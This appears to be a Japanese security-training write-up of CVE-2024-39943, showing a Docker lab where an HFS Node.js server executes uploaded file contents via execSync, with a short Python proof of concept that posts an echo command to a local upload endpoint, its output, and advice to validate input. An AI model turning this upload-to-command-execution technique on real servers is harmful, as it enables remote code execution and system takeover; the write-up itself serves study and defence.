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Node.js-CVE-2024-39943

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Node.js HFS コマンド実行の脆弱性 (CVE-2024-39943)

ホワイトハットスクール第3期 – ノ・ジョンミン (@JenmrR)


概要

Node.jsベースのHFSサーバー環境において、アップロードされたファイルの内容をchild_process.execSync()で実行する脆弱性が存在する。
攻撃者はファイルアップロード機能を通じてOSコマンドを直接実行でき、サーバー内部のコマンド実行結果を確認したり、システムを制御したりすることができる。
これはCVE-2024-39943に該当する脆弱性であり、コマンドインジェクション(Remote Code Execution)と同レベルの脅威を引き起こす。


環境の構成と実行

  1. Docker環境を通じてサーバーを実行
  2. サーバーは/uploadパスでファイルアップロードを受信し、アップロードされたファイルの内容をそのままコマンドとして実行
  3. 攻撃者はアップロードを通じてRCEが可能

実行フロー

root@kitploit:~
$ sudo docker-compose up --build -d
root@kitploit:~
$ python3 poc.py

poc.py

root@kitploit:~
import requests

payload = 'echo Hello_From_Hacked_Server'
files = { 'file': ('exploit.txt', payload) }

r = requests.post('http://localhost:8080/upload', files=files)
print(r.text)

結果

PoC実行後のサーバー応答:

root@kitploit:~
Executed:
Hello_From_Hacked_Server

poc-result


まとめ

  • 本脆弱性は、外部入力をOSコマンドとして実行する場合に発生する典型的なRCE(Remote Command Execution)脆弱性である。
  • アップロードされたファイルの内容を直接execSync()で実行する方法は、深刻なセキュリティリスクを引き起こす。
  • ユーザー入力は常に検証すべきであり、サーバー内で直接実行してはならない。

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